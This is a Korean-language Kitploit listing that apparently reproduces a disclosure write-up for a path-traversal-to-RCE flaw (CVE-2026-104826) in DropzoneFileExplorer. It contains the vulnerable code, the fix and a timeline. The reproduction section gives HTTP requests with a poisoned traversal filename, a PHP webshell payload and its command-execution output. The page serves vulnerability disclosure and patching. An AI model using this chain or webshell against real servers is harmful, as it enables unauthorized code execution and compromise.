Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-104826 — CVE-2026-104826에 대한 개념 증명 익스플로잇 체인으로, DropzoneFileExplorer의 청크 업로드 핸들러에서 발생하는 경로 순회 취약점을 이용해 원격 코드 실행을 위한 PHP 웹셸을 작성합니다. | Kitploit
도구/GitHubGitHub/kiwknr/cve-2026-104826
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingRemote Access Tool
GitHubkiwknr/cve-2026-104826

CVE-2026-104826

CVE-2026-104826에 대한 개념 증명 익스플로잇 체인으로, DropzoneFileExplorer의 청크 업로드 핸들러에서 발생하는 경로 순회 취약점을 이용해 원격 코드 실행을 위한 PHP 웹셸을 작성합니다.

저장소 보기
11일 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-104826 - DropzoneFileExplorer의 경로 순회를 통한 RCE

재개 가능한(청크) 업로드 핸들러는 클라이언트가 제공한 fileName을 fopen()까지 그대로 신뢰한다. 여기에 ../../를 넣으면 허용된 폴더 밖, 스토리지 루트 밖, 웹 루트 안으로 파일을 쓸 수 있다. 이 앱은 PHP를 서비스하므로 심어놓은 파일이 실행된다.

프로젝트: KeepCoolCH/DropzoneFileExplorer

CVECVE-2026-104826
권고GHSA-7626-89vx-5rpc
분류CWE-22 (경로 순회) -> CWE-434 -> RCE
인증기본적으로 인증됨, AUTH_ENABLE=false인 경우 미인증
CVSS v4.08.5 High (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H)
영향받는 버전v1.1 (커밋 68858e0에서 테스트됨)
수정된 버전v1.2
크레딧Kanarat Kaeothong (Axiom0x)

어디서 깨지는가

두 함수가 중요하다. uploadInit은 요청 본문에서 fileName을 가져와 trim() 외에는 아무것도 하지 않고 보관한다 (inc/functions.php, 약 L2080):

$fileName = trim((string)($body['fileName'] ?? 'file'));   // no basename(), no norm_rel()
// ...stored verbatim in the upload's meta.json

uploadFinalize는 나중에 이를 다시 읽어 출력 경로를 조립한다 (inc/functions.php, L2192-2216):

$destDir     = norm_rel((string)($meta['destDir'] ?? ''));       // normalized
$relPath     = norm_rel((string)($meta['relativePath'] ?? ''));  // normalized
$fileName    = (string)($meta['fileName'] ?? 'file');            // NOT normalized

$destBaseAbs = abs_path($destDir);
ensure_inside_allowed_roots($destBaseAbs);                        // dir is checked
$finalDirAbs = $destBaseAbs;
if ($relPath !== '') {
    $finalDirAbs = $destBaseAbs . DIRECTORY_SEPARATOR . str_replace('/', DIRECTORY_SEPARATOR, $relPath);
    ensure_inside_allowed_roots($finalDirAbs);                    // dir is checked
}

$finalName = $fileName;
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;     // traversal lands here
// ...
$out = @fopen($finalAbs, 'c+b');                                 // arbitrary write

ensure_inside_allowed_roots() 자체는 문제없다. realpath()를 호출하고 경로가 사용자의 루트 아래에 있는지 확인한다. 문제는 이 함수에 전달되는 값이다. $destBaseAbs와 $finalDirAbs는 둘 다 검증되지만, 실제로 공격자의 fileName을 포함하는 $finalAbs는 결코 검증되지 않는다. fopen()은 가공되지 않은 .../shared/../../app/shell.php 문자열을 받고 OS가 ..를 알아서 축약해준다.

주목할 점: 이 코드베이스의 다른 모든 쓰기 경로는 조립된 경로를 ensure_inside_allowed_roots()를 통해 실행하거나 이름을 basename()으로 감싼다. 이 경로는 둘 다 하지 않는다. 리팩터링되면서 마지막 검사가 누락된 지점처럼 보인다.

재현

기본 v1.1, 기본 설정 (AUTH_ENABLE=true). 행위자는 유일한 폴더가 shared인 일반 사용자 lowpriv이다.

  1. lowpriv로 로그인한다 (로그인 페이지에서 CSRF 토큰을 가져온 뒤 auth_action=login을 POST).

  2. 샌드박스가 실제로 작동하는지 확인한다. 다른 사람의 폴더에 바로 업로드하는 것은 거부된다:

    POST /index.php?action=uploadInit
    {"destDir":"secret_admin_area","fileName":"x.txt","fileSize":0,"policy":"overwrite"}
    -> {"ok":false,"error":"Access denied"}
    
  3. 허용된 폴더를 사용하되 fileName을 오염시킨다:

    POST /index.php?action=uploadInit
    {"destDir":"shared","fileName":"../../app/pwned.php","fileSize":0,"policy":"overwrite"}
    -> {"ok":true,"uploadId":"..."}
    
  4. 페이로드를 하나의 청크로 전송한다:

    POST /index.php?action=uploadChunk   (multipart)
    uploadId=<id>&index=0&total=1  + file field "chunk" = <?php system($_GET['c']); ?>
    -> {"ok":true}
    
  5. 마무리한다:

    POST /index.php?action=uploadFinalize
    {"uploadId":"<id>","policy":"overwrite"}
    -> {"ok":true,"path":"app/pwned.php"}
    

    응답은 app/pwned.php를 보고한다. 앱 자체가 shared 밖, 스토리지 루트 밖에 썼다고 알려주는 것이다.

  6. 실행한다:

    GET /pwned.php?c=id
    -> uid=... (command output)
    

로컬 인스턴스에 대한 직접 실행 결과:

GET /pwned_axiom.php?c=id
uid=501(miniq) gid=20(staff) ...

GET /pwned_axiom.php?c=uname+-a
Darwin ... arm64

전체 체인(로그인, CSRF, 오염, 청크, 마무리, 실행)은 poc/exploit.py를 참조.

영향

업로드가 허용된 사람은 누구나 사용자별 폴더 규칙과 무관하게 PHP 프로세스가 쓸 수 있는 곳 어디든 파일을 쓸 수 있다. 웹 루트에 있는 .php 파일은 웹 사용자 권한으로의 원격 코드 실행이다. AUTH_ENABLE=false인 경우 로그인 단계가 없어 곧바로 미인증 RCE이다.

수정

uploadFinalize에서 fileName을 열기 전에 순수한 이름으로 잘라내고, 조립된 경로를 다시 검사한다:

$finalName = basename($fileName);            // kill any path component
$finalAbs  = $finalDirAbs . DIRECTORY_SEPARATOR . $finalName;
ensure_inside_allowed_roots($finalAbs);      // and verify the real target

basename()만으로도 경로 순회를 막는다. ensure_inside_allowed_roots($finalAbs) 검사를 추가하는 것은 이중 안전장치 버전이며, 나머지 코드가 이미 쓰기를 보호하는 방식과 일치한다. $finalName이 다시 계산되는 rename 정책 분기(약 L2210)에도 동일한 처리가 필요하다. 메인테이너는 이를 v1.2에 반영했다.

타임라인

  • 2026-07-26 발견, 로컬 v1.1에 대해 전체 체인을 구축하고 실행
  • 2026-07-27 비공개로 보고 (GitHub Security + 메인테이너에게 이메일)
  • 2026-07-27 비공개 GHSA 개설 (GHSA-7626-89vx-5rpc)
  • 2026-07-28 메인테이너가 확인하고 v1.2를 배포, 권고 공개
  • 2026-10-02 GitHub CNA가 CVE-2026-104826 할당

참고 자료

  • 권고: https://github.com/KeepCoolCH/DropzoneFileExplorer/security/advisories/GHSA-7626-89vx-5rpc
  • CVE 레코드: https://www.cve.org/CVERecord?id=CVE-2026-104826

조정된 공개로, 이 내용이 공개되기 전에 수정되었다. PoC는 의도적으로 로컬 테스트 인스턴스를 겨냥한다. 소유하지 않은 대상에 사용하지 말 것.

도구 다운로드